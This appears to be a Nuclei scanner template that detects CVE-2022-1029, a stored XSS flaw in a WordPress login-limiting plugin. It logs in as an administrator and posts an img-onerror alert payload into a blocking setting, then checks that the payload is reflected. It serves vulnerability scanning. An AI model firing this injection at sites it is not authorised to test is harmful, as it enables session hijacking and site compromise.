CVE-2022-1029: Limit Login Attempts - Stored Cross-Site Scripting

id: CVE-2022-1029

info:
  name: Limit Login Attempts - Stored Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Limit Login Attempts WordPress plugin < 4.0.72 contains a stored cross-site scripting caused by unsanitized and unescaped settings, letting malicious administrators inject Javascript code, exploit requires administrator privileges.
  impact: |
    Attackers with administrator privileges can execute malicious Javascript in the context of the site, potentially stealing cookies or hijacking user sessions.
  remediation: |
    Update to version 4.0.72 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1029
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-1029
    epss-score: 0.00887
    epss-percentile: 0.57261
    cwe-id: CWE-79
  metadata:
    verified: true
    max-requests: 2
    public-www: "/wp-content/plugins/miniorange-limit-login-attempts/"
  tags: cve,cve2022,wordpress,wp,wp-plugin,miniorange-limit-login-attempts,xss,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin.php?page=advancedblocking HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        option=mo_wpns_block_referrer&referrer_1=%22%3E%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "referrerblockingtable", "<img src=x onerror=alert(document.domain)>")'
        condition: and
# digest: 4b0a00483046022100da7c2d4d637cb23efb83ba6b8d2fb58a5f47a31caf9439709b95122f5e29c5b2022100a5176c5a6ae2aff184d2c4024c51feb13953379f640575e1543001c711db4e74:922c64590222798bb761d5b6d8e72950

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